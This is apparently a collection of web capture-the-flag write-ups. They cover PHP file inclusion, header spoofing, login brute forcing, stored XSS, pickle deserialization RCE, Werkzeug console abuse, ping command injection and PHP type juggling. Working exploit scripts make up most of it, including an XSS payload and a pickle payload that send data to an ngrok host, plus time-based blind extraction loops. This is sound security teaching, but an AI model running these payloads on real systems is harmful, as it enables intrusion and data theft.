~ Sorted by difficulty (sortBy=easiest) ~

alien-inclusion

<?php

if (!isset($_GET['start'])){
    show_source(__FILE__);
    exit;
} 

include ($_POST['start']);
echo $secret;

Since the description tells us the flag is at /var/www/html/flag.php we may think POSTing that path will return the flag. In this case it does, because by including /var/www/html/flag.php, $secret gets declared as the flag and then echoed.

(/?start -> if (!isset($_GET['start'])))

POST /?start HTTP/1.1
Host: 34.141.31.183:31166
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

start=php://filter/convert.base64-encode/resource=/var/www/html/flag.php
<?php 
    $secret="ctf{b513ef6d1a5735810bca608be42bda8ef28840ee458df4a3508d25e4b706134d}";
?>

Also tried to get the flag in plaintext by using php://filter/resource=/var/www/html/flag.php. The thing is, the filter does return the contents in plaintext, but include() parses it and just returns the flag (echo $secret).

Read more about PHP’s filters here.

address

/

<html><head></head><body><center><img src="data:image/jpeg;base64,data"></center> <!-- /admin.php --></body></html>

/admin.php

<html><head></head><body><center><img src="data:image/jpeg;base64,data"></center><!-- You are not a local! --></body></html>

A misconfigured server/rev proxy may set the remote address as X-Forwarded-For header’s value.

imagen

imagen

broken-login

We are given a simple login page:

imagen

This form POSTs /login who returns a redirect to /auth with the username in hex and the password in sha512. However, the request to /login uses name while the one to /auth uses username. Changing /auth to use name makes the webapp return an Invalid user. Using Alex as challenge’s description suggests and fuzzing with rockyou.txt leads us to the final stage:

cat /opt/wordlists/rockyou.txt | while read line; do echo -n "Trying $line: "; curl "http://mirror/auth?name=$(echo -n 'Alex' | xxd -p)&password=$(echo -n $line | shasum -a 512 | cut -d' ' -f1)"; echo; done

Valid creds are Alex:juliana.

~/Desktop/CTF > curl "http://mirror/auth?name=$(echo -n 'Alex' | xxd -p)&password=$(echo -n 'juliana' | shasum -a 512 | cut -d' ' -f1)"
<a href="/internal">Found</a>.

~/Desktop/CTF > curl "http://mirror/auth?name=$(echo -n 'Alex' | xxd -p)&password=$(echo -n 'juliana' | shasum -a 512 | cut -d' ' -f1)" -v
*   Trying mirror...
* TCP_NODELAY set
* Connected to mirror (mirror) port XXXXX (#0)
> GET /auth?name=416c6578&password=98fba6446189574b3dac42a3a418efc22552fd057c1bcef1e6e6115390030e22cdf7eecedd176a959d84fabb738fb1714226bad3ac7449816503d63def1b3460 HTTP/1.1
> Host: mirror
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 302 Found
< Location: /internal
< Set-Cookie: session=data; Path=/
< Date: Fri, 15 Oct 2021 22:34:34 GMT
< Content-Length: 32
< Content-Type: text/html; charset=utf-8
<
<a href="/internal">Found</a>.

* Connection #0 to host mirror left intact
* Closing connection 0
~/Desktop/CTF > curl http://mirror/internal -b "session=data" -v
*   Trying mirror...
* TCP_NODELAY set
* Connected to mirror (mirror) port 30267 (#0)
> GET /internal HTTP/1.1
> Host: mirror
> User-Agent: curl/7.64.1
> Accept: */*
> Cookie: session=data
>
< HTTP/1.1 200 OK
< Date: Fri, 15 Oct 2021 22:35:15 GMT
< Content-Length: 237
< Content-Type: text/html; charset=utf-8
<

<h1>Internal</h1>
<hr>
<p> Talk about insecure and broken login pages... CTF{bf3dd66e1c8e91683070d17ec2afb13375488eee109a0724bb872c9d70b7cc3d}
</p>
<form method="post" action="/logout">
    <button type="submit">Logout</button>
</form>
* Connection #0 to host mirror left intact
* Closing connection 0

manual-review

We get an input to ‘leave’ a message for an admin.

imagen

Once we send it, it shows an Assigned status. Then it changes to Solved once (I guess) backend’s (I guess) selenium driver visits our message.

To leak what the admin is seeing, we should try to inject js.

<div class="py-12">
    <div class="max-w-7xl mx-auto sm:px-6 lg:px-8">
      <div class="bg-white overflow-hidden shadow-xl sm:rounded-lg">
        <h1>1 / Status: Solved</h1>
        <hr>
        <p>">test</p>
      </div>
    </div>
</div>

Our input gets no sanitization, so it’s as easy as creating a <script> and making requests to our server.

Let’s send this as message <script src="https://x.ngrok.io/exfil.js"></script> and create an exfil.js file in our server to edit the js code the backend’s selenium is going to execute more easily.

Trying first to leak the entire document’s HTML:

async function exfil(data) {
    await fetch('http://x.ngrok.io/exfil', {
        method: 'POST',
        mode: 'no-cors',
        body: data
    })
}

(async () => {
    await exfil(document.documentElement.innerHTML)
})();

imagen

That’s how the admin bot sees our report, but the flag is in the user agent this time.

rundown

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 50
Server: Werkzeug/1.0.1 Python/2.7.12

APIv2 @ 2020 - You think you got methods for this?

No robots.txt, so let’s try an OPTIONS request to see which methods are allowed:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Allow: POST, HEAD, OPTIONS, GET
Content-Length: 0
Server: Werkzeug/1.0.1 Python/2.7.12

A HEAD request shows nothing, but POSTing returns Flask&rsquo;s debug console.

At first, it seems we’ll have to generate the PIN with this technique, however, we have no way to read the private files needed. After looking at the trackeback, there’s a very suspicious code shown:

@app.route("/", methods=["POST"])
def newpost():
  picklestr = base64.urlsafe_b64decode(request.data)
  if " " in picklestr:
    return "The ' ' is blacklisted!"
  postObj = cPickle.loads(picklestr)
  return ""

This is a flask endpoint using pickle.

Refer to this article to understand how to exploit this vulnerability. Basically, we’ll be creating a class with a __reduce__ method who will then be pickled and encoded for the server to decode it and unpickle it.

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        return os.system, ('curl -X POST http://c4e7-151-182-150-4.ngrok.io -d "$(ls)"',)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(f"Raw: {pickled}")
    print(f"Base64: {base64.urlsafe_b64encode(pickled).decode()}")
Raw: b'\x80\x04\x95U\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c:curl -X POST http://c4e7-151-182-150-4.ngrok.io -d "$(ls)"\x94\x85\x94R\x94.'
Base64: gASVVQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDpjdXJsIC1YIFBPU1QgaHR0cDovL2M0ZTctMTUxLTE4Mi0xNTAtNC5uZ3Jvay5pbyAtZCAiJChscykilIWUUpQu

However, according to if " " in picklestr:, the command must have no spaces. For that we’ll be using the ${IFS} technique.

Let’s make the exploit to be easier to change the command to execute:

import pickle
import base64
import os
import requests

url = "http://mirror/"

class RCE(object):
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return os.system, (self.cmd,)


if __name__ == '__main__':
    while True:
        cmd = raw_input('$ ').replace(' ', '${IFS}')
        pickled = pickle.dumps(RCE(cmd))
        b64 = base64.urlsafe_b64encode(pickled).decode()
        print("Raw: ", pickled)
        print("Base64: ", b64)

        print(requests.post(url, data=b64).text)

The POC must be in Python2 (Server: Werkzeug/1.0.1 Python/2.7.12).

Without being able to leak anything to our server (the box seems not to have outbounds connection) we can make a time-based leak.

└─#rlwrap python poc.py
a
('Raw: ', "cposix\nsystem\np0\n(S'a'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydhJwpwMQp0cDIKUnAzCi4=')
0:00:00.088122
sleep 10
('Raw: ', "cposix\nsystem\np0\n(S'sleep${IFS}10'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydzbGVlcCR7SUZTfTEwJwpwMQp0cDIKUnAzCi4=')
0:00:10.090024
ls | grep flag && sleep 5
('Raw: ', "cposix\nsystem\np0\n(S'ls${IFS}|${IFS}grep${IFS}flag${IFS}&&${IFS}sleep${IFS}5'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydscyR7SUZTfXwke0lGU31ncmVwJHtJRlN9ZmxhZyR7SUZTfSYmJHtJRlN9c2xlZXAke0lGU301JwpwMQp0cDIKUnAzCi4=')
0:00:05.092808
ls | grep flagfoo && sleep 5
('Raw: ', "cposix\nsystem\np0\n(S'ls${IFS}|${IFS}grep${IFS}flagfoo${IFS}&&${IFS}sleep${IFS}5'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydscyR7SUZTfXwke0lGU31ncmVwJHtJRlN9ZmxhZ2ZvbyR7SUZTfSYmJHtJRlN9c2xlZXAke0lGU301JwpwMQp0cDIKUnAzCi4=')
0:00:00.147667
cat flag | grep ctf{ && sleep 3
('Raw: ', "cposix\nsystem\np0\n(S'cat${IFS}flag${IFS}|${IFS}grep${IFS}ctf{${IFS}&&${IFS}sleep${IFS}3'\np1\ntp2\nRp3\n.")
('Base64: ', u'Y3Bvc2l4CnN5c3RlbQpwMAooUydjYXQke0lGU31mbGFnJHtJRlN9fCR7SUZTfWdyZXAke0lGU31jdGZ7JHtJRlN9JiYke0lGU31zbGVlcCR7SUZTfTMnCnAxCnRwMgpScDMKLg==')
0:00:03.096160

Making a loop to iterate over string.hexdigits[:16] + "}" should be enough to slowly retrieve the flag.

Final exploit:

import pickle
import base64
import os
import requests
import string

url = "http://mirror/"
charset = string.hexdigits[:16] + "}"

class RCE(object):
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return os.system, (self.cmd,)


if __name__ == '__main__':
    extracted = "ctf{"
    finished = False
    while not finished:
        for i in charset:
            cmd = 'cat flag | grep %s && sleep 3' % (extracted + i)
            cmd = cmd.replace(' ', '${IFS}')
            print(cmd)

            pickled = pickle.dumps(RCE(cmd))
            req = requests.post(
                url, data=base64.urlsafe_b64encode(pickled).decode()
            )

            print(req.elapsed)
            if int(req.elapsed.total_seconds()) > 2:
                extracted += i
                break

            if i == charset[-1]:
                finished = True
cat${IFS}flag${IFS}|${IFS}grep${IFS}ctf{e687c7f3f6ae2d8154dfae81b5caa978ffdebe42142234e06de26e61c95e3371}${IFS}&&${IFS}sleep${IFS}3
0:00:03.091999

slightly-broken

<html>
  <head></head>
  <body>Now go get the flag: 
    <a href="/getflag?cmd&amp;a&amp;b&amp;c&amp;d&amp;e&amp;f&amp;g&amp;h&amp;i&amp;j&amp;k&amp;l&amp;m%n#d">Enjoy!</a>
  </body>
</html>

Following the link leads us to a werkzeug debug console (similar challenge).

imagen

Then we can execute arbitrary python code by clicking any shell in the debug console.

>>> __import__('os').popen('ls').readlines()
['app.py\n', 'flag.txt\n']
>>> __import__('os').popen('cat flag.txt').readlines()
['ECSC{672e1423c22222e4e4c87e27a443b4b72c298c84f13d3ddeb771b9458ce33f32}']

ping-station

We are given the source code of the webapp:

from flask import Flask, render_template, url_for, request, redirect

import subprocess
import re
import string

app = Flask(__name__)

def is_valid_ip(ip):
    ipv = re.match(r"^(\d{1,3})\.(\d{1,3})\.(\S{1,9})|(/s)\.(\d{1,3})$",ip)
    return bool(ipv) 

@app.route('/', methods=['POST', 'GET'])
def index():
    if request.method == 'POST':
        ip = request.form['content']
        if (is_valid_ip(ip)==True):
            for i in range(0,2):
                return '<pre>'+subprocess.check_output("ping -c 4 "+ip,shell=True).decode()+'</pre>'
                break
        else:
            return"That's not a valid IP"
    else:
        return render_template('index.html')

if __name__ == "__main__":
    app.run(host = "0.0.0.0")

We have to provide a string matching ^(\d{1,3})\.(\d{1,3})\.(\S{1,9})|(/s)\.(\d{1,3})$ by request.form['content']. Then it will be used inside a ping command.

Trying to execute commands with backslashes didn’t allow me to read the error message reflecting the output of the command, but being allowed to sleep is enough to solve the challenge. Same technique on a different challenge.

Let’s automate it:

import requests
import string

url = "http://mirror/"
charset = string.ascii_letters + string.digits + "{}"

extracted = "ECSC" # Test first ctf or ECSC
finished = False
while not finished:
    for i in charset:
        data={"content": f"127.0.0.1`cat flag | grep {extracted + i} && sleep 3`"}
        print(data)
        req = requests.post(url, data=data)

        print(req.elapsed)
        if int(req.elapsed.total_seconds()) > 2:
            extracted += i
            break

        if i == charset[-1]:
            finished = True

print(extracted)
{'content': '127.0.0.1`cat flag | grep ECSC{b1c0bc8e5e1b4c81199ad3c41bef8b69bea3ab86ecfb08c211d90ace0ff98df3} && sleep 3`'}
0:00:03.099812

downloader-v1

imagen

We get a photo downloader. Submitting the placeholder gives us more information:

imagen

Taking a look at wget -h we can notice an option --body-file to append the content of a file to the request.

imagen

imagen

imagen

By looking at index.php’s contents I noticed <!-- <a href="flag.php">###</a> -->.

Leaking flag.php gives us the flag.

imagen

imagen

puzzled

We are given a php snippet that prints the flag:

<?php

include 'secrets.php';

function generateRandomString($length = 10) {
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

if (isset($_GET['pass'])){
    $pass = generateRandomString(95);
    $user_input = json_decode($_GET['pass']);
    if ($pass != $user_input->pass) {
        header('HTTP/1.0 403 Forbidden');
        exit;
    }
} else {
    show_source(__FILE__);
    exit;
}

if ($user_input->token != $secret_token) {;
    echo strlen($secret_token);
    header('HTTP/1.0 403 Forbidden');
    exit;
}

$key = $secret_token;
if (isset($_GET['key'])) {
    $key = hash_hmac('ripemd160', $_GET['key'], $secret_token); 
}

$hash = hash_hmac('ripemd160', $user_input->check, $key);

if ($hash !== $user_input->hash) {
    header('HTTP/1.0 403 Forbidden');
    exit;
}

$black = ['system', 'exec', 'eval', 'php', 'passthru', 'open', 'assert', '`', 'preg_replace', 'e(', 'n(', '$', '(', '%', '=', '%28'];
foreach ($black as $key => $value) {
    if (strpos($user_input->check, $value) !== false) {
        header('HTTP/1.0 403 Forbidden');
        exit;
    }
}

$login = unserialize($user_input->check);

if ($login['user'] == $User && $login['pass'] == $Pass) {
    $admin = true;
} else {
    header('HTTP/1.0 403 Forbidden');
    exit;
}

if($admin){
    if (isset($_GET['something'])) {
        if (strcmp($_GET['something'], $secret_token) == 0) {
            echo $flag;
        } else {
            echo 'Try Harder!';
        }
    }
}

First bypass:

if (isset($_GET['pass'])){
    $pass = generateRandomString(95);
    $user_input = json_decode($_GET['pass']);
    if ($pass != $user_input->pass) {
        header('HTTP/1.0 403 Forbidden');
        exit;
    }
} else {
    show_source(__FILE__);
    exit;
}

json_decode($_GET['pass'])->pass = ?pass={'pass':this} must equal (by a loose comparison) $pass. Since $pass is not declared anywhere in this file, it must be declared inside secrets.php (included by include 'secrets.php').

For the whole challenge we’ll be refering to a vulnerability called Type Juggling.

imagen

For this first bypass, $pass which (I guess) is a string equals to true or 0. So 'pass' => 0, will let us get to the second bypass.

if ($user_input->token != $secret_token) {;
    echo strlen($secret_token);
    header('HTTP/1.0 403 Forbidden');
    exit;
}

This time, $user_input->token (= /?pass={"token":this}) must equal $secret_token, string that we don’t know again. As before, 0 and true will equal to this string, so 'token' => true let us get to the third bypass.

$key = $secret_token;
if (isset($_GET['key'])) {
    $key = hash_hmac('ripemd160', $_GET['key'], $secret_token); 
}

$hash = hash_hmac('ripemd160', $user_input->check, $key);

if ($hash !== $user_input->hash) {
    header('HTTP/1.0 403 Forbidden');
    exit;
}

This time, $hash must strictly equal $user_input->hash (= /?pass={"hash":this}). The only part of $hash we don’t control is $secret_token used to set the key for $hash. However, we can obtain an empty $key by providing $_GET['key'] as an array (hash_hmac will throw a warning) and then completely control $hash.

$login = unserialize($user_input->check);

if ($login['user'] == $User && $login['pass'] == $Pass) {
    $admin = true;
} else {
    header('HTTP/1.0 403 Forbidden');
    exit;
}

Finally, the webapp unserializes /?pass={"check":this} and then compares user and pass inside the array with secrets.php values. As we’ve seen before, we may guess $User and $Pass are strings, so true or 0 will work to get to the flag.

if($admin){
    if (isset($_GET['something'])) {
        if (strcmp($_GET['something'], $secret_token) == 0) {
            echo $flag;
        } else {
            echo 'Try Harder!';
        }
    }
}

Providing /?something[] will break if (strcmp($_GET['something'], $secret_token) == 0) because strcmp(array(), $anything) returns NULL, and NULL equals 0 in loose comparison (==).

Solver:


<?php

$url = "http://mirror/";

function post_request($url, $data) {
    var_dump($data);
    /*$options = array(
        'http' => array(
            'proxy'   => 'tcp://127.0.0.1:8080',
            'request_fulluri' => true,
        )
    );
    $context = stream_context_create($options);*/
    return file_get_contents($url . "?" . http_build_query($data), false);//), $context);
}

$obj = serialize(array('user' => true, 'pass' => true));

$data = array(
    'pass' => json_encode(
        array(
            'pass' => 0,
            'token' => true,
            'check' => $obj,
            'hash' => hash_hmac('ripemd160', $obj, '')
        )
    ), 
    'key[]' => '',
    'something[]' => ''
);

$result = post_request($url, $data);
var_dump($result);

?>